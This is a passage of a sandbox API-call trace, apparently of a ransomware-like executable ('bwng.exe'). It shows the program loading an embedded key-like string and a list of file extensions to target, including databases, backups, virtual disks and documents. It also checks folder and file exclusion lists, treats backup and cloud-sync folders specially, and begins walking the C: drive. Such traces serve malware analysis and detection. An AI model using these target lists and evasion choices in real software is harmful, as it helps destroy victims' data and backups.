cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\PERFLOGS\\", cchCount1=10, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS\\", cchCount1=9, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS.OLD\\", cchCount1=13, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS10UPGRADE\\", cchCount1=18, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\$RECYCLE.BIN\\", cchCount1=14, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS NT\\", cchCount1=12, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\COMMON FILES\\", cchCount1=14, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\TEMP\\", cchCount1=6, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\BOOT\\", cchCount1=6, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MSOCACHE\\", cchCount1=10, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\DEFAULT USER\\", cchCount1=14, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\ACRONIS\\", cchCount1=14, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\ACRONIS\\", cchCount1=14, lpString2="[FEX_END]", cchCount2=9) returned 1 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\BACKUPCLIENT\\", cchCount1=19, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\BACKUPCLIENT\\", cchCount1=19, lpString2="[FEX_END]", cchCount2=9) returned 1 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\BACKUP MANAGER\\", cchCount1=21, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\BACKUP MANAGER\\", cchCount1=21, lpString2="[FEX_END]", cchCount2=9) returned 1 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\CARBONITE\\", cchCount1=16, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\CARBONITE\\", cchCount1=16, lpString2="[FEX_END]", cchCount2=9) returned 1 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\GOOGLE\\DRIVE\\", cchCount1=19, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\GOOGLE\\DRIVE\\", cchCount1=19, lpString2="[FEX_END]", cchCount2=9) returned 1 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\DROPBOX\\", cchCount1=14, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\DROPBOX\\", cchCount1=14, lpString2="[FEX_END]", cchCount2=9) returned 1 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\MICROSOFT ONEDRIVE\\", cchCount1=25, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\MICROSOFT ONEDRIVE\\", cchCount1=25, lpString2="[FEX_END]", cchCount2=9) returned 1 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\ONEDRIVE\\", cchCount1=15, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\ONEDRIVE\\", cchCount1=15, lpString2="[FEX_END]", cchCount2=9) returned 1 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VNC\\", cchCount1=4, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.616] FindResourceW (hModule=0x400000, lpName="PRL", lpType=0xa) returned 0x4f54b0 [0029.616] LoadResource (hModule=0x400000, hResInfo=0x4f54b0) returned 0x526d30 [0029.616] SizeofResource (hModule=0x400000, hResInfo=0x4f54b0) returned 0x1d2 [0029.616] LockResource (hResData=0x526d30) returned 0x526d30 [0029.616] FreeResource (hResData=0x526d30) returned 0 [0029.616] FindResourceW (hModule=0x400000, lpName="KN", lpType=0xa) returned 0x4f5450 [0029.616] LoadResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x5260dc [0029.616] SizeofResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x26 [0029.616] LockResource (hResData=0x5260dc) returned 0x5260dc [0029.616] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2080, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0029.616] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2080, cbMultiByte=38, lpWideCharStr=0x1e8e20c, cchWideChar=38 | out: lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps\r\n42\r\n") returned 38 [0029.616] FreeResource (hResData=0x5260dc) returned 0 [0029.616] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0029.616] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x1eb2084, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", lpUsedDefaultChar=0x0) returned 32 [0029.616] GetCurrentThreadId () returned 0x5b0 [0029.616] GetCurrentThreadId () returned 0x5b0 [0029.616] GetCurrentThreadId () returned 0x5b0 [0029.616] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dca378, cbMultiByte=466, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 466 [0029.616] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dca378, cbMultiByte=466, lpWideCharStr=0x1e3a97c, cchWideChar=466 | out: lpWideCharStr="MDF\r\nNDF\r\nLDF\r\nMYD\r\nEQL\r\nSQL\r\nDB\r\nDBK\r\nDB2\r\nDB3\r\nDBC\r\nDT\r\nDBS\r\nDBF\r\nDBX\r\nMDB\r\nSDF\r\nNS2\r\nNS3\r\nNS4\r\nNSF\r\nACCDB\r\nVPD\r\nVHD\r\nVHDX\r\nAVHDX\r\nVDI\r\nSQLITE\r\nSQLITE3\r\nSQLITEDB\r\nSQB\r\nTRN\r\nIMG\r\nBAK\r\nBAC\r\nBCK\r\nBCKP\r\nBACKUP\r\nBACKUPDB\r\nFH\r\nTIB\r\nTIS\r\n001\r\nWBB\r\nV2I\r\nIV2I\r\nINPROGRESS\r\nZIP\r\nRAR\r\nZ\r\n7Z\r\nGZ\r\nTAR\r\nDMP\r\nWMT\r\nVMDK\r\nGHO\r\nGHS\r\nOEB\r\nPST\r\nXLSX\r\nXLS\r\nDOCX\r\nDOC\r\nDOT\r\nDOTX\r\nODT\r\nODS\r\nHWP\r\nHWT\r\nHML\r\nHWDT\r\nHWPX\r\nCELL\r\nNXL\r\nHCDT\r\nNXT\r\nSHOW\r\nHPT\r\nHSDT\r\nDWG\r\nCDR\r\nPDF\r\nJPG\r\nJPEG\r\nPSD") returned 466 [0029.616] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0029.616] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0029.616] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0029.616] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0029.616] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0029.616] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f720, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwng.exe")) returned 0x2e [0029.616] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ALL*.fldp", lpFindFileData=0x18f96c | out: lpFindFileData=0x18f96c*(dwFileAttributes=0x7758aadb, ftCreationTime.dwLowDateTime=0x400000, ftCreationTime.dwHighDateTime=0x4, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e94e5c, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x18f9a4, nFileSizeLow=0x77382dfa, dwReserved0=0x1e94e8e, dwReserved1=0x1dc43b0, cFileName="\x12", cAlternateFileName="")) returned 0xffffffff [0029.617] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0029.617] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0029.617] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[LDRIVESSCAN]", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0029.617] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[LDRIVESSCAN]", cchWideChar=13, lpMultiByteStr=0x1e62fac, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[LDRIVESSCAN]", lpUsedDefaultChar=0x0) returned 13 [0029.617] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x18fbc0, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x18fbc0*=0xd, lpOverlapped=0x0) returned 1 [0029.617] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x70e078 [0029.618] CharUpperBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", cchLength=0x26 | out: lpsz="C:\\USERS\\5P5NRGJN0JS HALPMCXZ\\DESKTOP\\") returned 0x26 [0029.618] CharUpperBuffW (in: lpsz="C:\\$Recycle.Bin\\", cchLength=0x10 | out: lpsz="C:\\$RECYCLE.BIN\\") returned 0x10 [0029.618] CharUpperBuffW (in: lpsz="\\PERFLOGS\\", cchLength=0xa | out: lpsz="\\PERFLOGS\\") returned 0xa [0029.618] CharUpperBuffW (in: lpsz="C:\\$Recycle.Bin\\", cchLength=0x10 | out: lpsz="C:\\$RECYCLE.BIN\\") returned 0x10 [0029.618] CharUpperBuffW (in: lpsz="\\WINDOWS\\", cchLength=0x9 | out: lpsz="\\WINDOWS\\") returned 0x9 [0029.618] CharUpperBuffW (in: lpsz="C:\\$Recycle.Bin\\", cchLength=0x10 | out: lpsz="C:\\$RECYCLE.BIN\\") returned 0x10 [0029.618] CharUpperBuffW (in: lpsz="\\WINDOWS.OLD\\", cchLength=0xd | out: lpsz="\\WINDOWS.OLD\\") returned 0xd [0029.618] CharUpperBuffW (in: lpsz="C:\\$Recycle.Bin\\", cchLength=0x10 | out: lpsz="C:\\$RECYCLE.BIN\\") returned 0x10 [0029.618] CharUpperBuffW (in: lpsz="\\WINDOWS10UPGRADE\\", cchLength=0x12 | out: lpsz="\\WINDOWS10UPGRADE\\") returned 0x12 [0029.618] CharUpperBuffW (in: lpsz="C:\\$Recycle.Bin\\", cchLength=0x10 | out: lpsz="C:\\$RECYCLE.BIN\\") returned 0x10 [0029.618] CharUpperBuffW (in: lpsz="\\$RECYCLE.BIN\\", cchLength=0xe | out: lpsz="\\$RECYCLE.BIN\\") returned 0xe [0029.618] CharUpperBuffW (in: lpsz="C:\\$Recycle.Bin\\", cchLength=0x10 | out: lpsz="C:\\$RECYCLE.BIN\\") returned 0x10 [0029.618] CharUpperBuffW (in: lpsz=".Bin", cchLength=0x4 | out: lpsz=".BIN") returned 0x4 [0029.618] CharUpperBuffW (in: lpsz="$Recycle.Bin", cchLength=0xc | out: lpsz="$RECYCLE.BIN") returned 0xc [0029.618] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0029.618] CharUpperBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", cchLength=0x26 | out: lpsz="C:\\USERS\\5P5NRGJN0JS HALPMCXZ\\DESKTOP\\") returned 0x26 [0029.618] CharUpperBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="C:\\BOOT\\") returned 0x8 [0029.618] CharUpperBuffW (in: lpsz="\\PERFLOGS\\", cchLength=0xa | out: lpsz="\\PERFLOGS\\") returned 0xa [0029.618] CharUpperBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="C:\\BOOT\\") returned 0x8 [0029.618] CharUpperBuffW (in: lpsz="\\WINDOWS\\", cchLength=0x9 | out: lpsz="\\WINDOWS\\") returned 0x9 [0029.618] CharUpperBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="C:\\BOOT\\") returned 0x8 [0029.618] CharUpperBuffW (in: lpsz="\\WINDOWS.OLD\\", cchLength=0xd | out: lpsz="\\WINDOWS.OLD\\") returned 0xd [0029.618] CharUpperBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="C:\\BOOT\\") returned 0x8 [0029.618] CharUpperBuffW (in: lpsz="\\WINDOWS10UPGRADE\\", cchLength=0x12 | out: lpsz="\\WINDOWS10UPGRADE\\") returned 0x12 [0029.618] CharUpperBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="C:\\BOOT\\") returned 0x8 [0029.618] CharUpperBuffW (in: lpsz="\\$RECYCLE.BIN\\", cchLength=0xe | out: lpsz="\\$RECYCLE.BIN\\") returned 0xe [0029.618] CharUpperBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="C:\\BOOT\\") returned 0x8 [0029.618] CharUpperBuffW (in: lpsz="\\WINDOWS NT\\", cchLength=0xc | out: lpsz="\\WINDOWS NT\\") returned 0xc [0029.619] CharUpperBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="C:\\BOOT\\") returned 0x8 [0029.619] CharUpperBuffW (in: lpsz="\\COMMON FILES\\", cchLength=0xe | out: lpsz="\\COMMON FILES\\") returned 0xe [0029.619] CharUpperBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="C:\\BOOT\\") returned 0x8 [0029.619] CharUpperBuffW (in: lpsz="\\TEMP\\", cchLength=0x6 | out: lpsz="\\TEMP\\") returned 0x6 [0029.619] CharUpperBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="C:\\BOOT\\") returned 0x8 [0029.619] CharUpperBuffW (in: lpsz="\\BOOT\\", cchLength=0x6 | out: lpsz="\\BOOT\\") returned 0x6 [0029.619] CharUpperBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="C:\\BOOT\\") returned 0x8 [0029.619] CharUpperBuffW (in: lpsz="Boot", cchLength=0x4 | out: lpsz="BOOT") returned 0x4 [0029.619] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0029.619] CharUpperBuffW (in: lpsz="bootmgr", cchLength=0x7 | out: lpsz="BOOTMGR") returned 0x7 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="BOOTMGR", cchCount2=7) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="BOOTMGR", cchCount2=7) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="BOOTMGR", cchCount2=7) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="BOOTMGR", cchCount2=7) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="BOOTMGR", cchCount2=7) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="BOOTMGR", cchCount2=7) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="BOOTMGR", cchCount2=7) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="BOOTMGR", cchCount2=7) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="BOOTMGR", cchCount2=7) returned 2 [0029.620] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0029.620] CharUpperBuffW (in: lpsz=".BAK", cchLength=0x4 | out: lpsz=".BAK") returned 0x4 [0029.620] CharUpperBuffW (in: lpsz="BOOTSECT.BAK", cchLength=0xc | out: lpsz="BOOTSECT.BAK") returned 0xc [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="BOOTSECT.BAK", cchCount2=12) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="BOOTSECT.BAK", cchCount2=12) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="BOOTSECT.BAK", cchCount2=12) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="BOOTSECT.BAK", cchCount2=12) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="BOOTSECT.BAK", cchCount2=12) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="BOOTSECT.BAK", cchCount2=12) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="BOOTSECT.BAK", cchCount2=12) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="BOOTSECT.BAK", cchCount2=12) returned 2 [0029.621] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0029.621] CharUpperBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", cchLength=0x26 | out: lpsz="C:\\USERS\\5P5NRGJN0JS HALPMCXZ\\DESKTOP\\") returned 0x26 [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\PERFLOGS\\", cchLength=0xa | out: lpsz="\\PERFLOGS\\") returned 0xa [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\WINDOWS\\", cchLength=0x9 | out: lpsz="\\WINDOWS\\") returned 0x9 [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\WINDOWS.OLD\\", cchLength=0xd | out: lpsz="\\WINDOWS.OLD\\") returned 0xd [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: 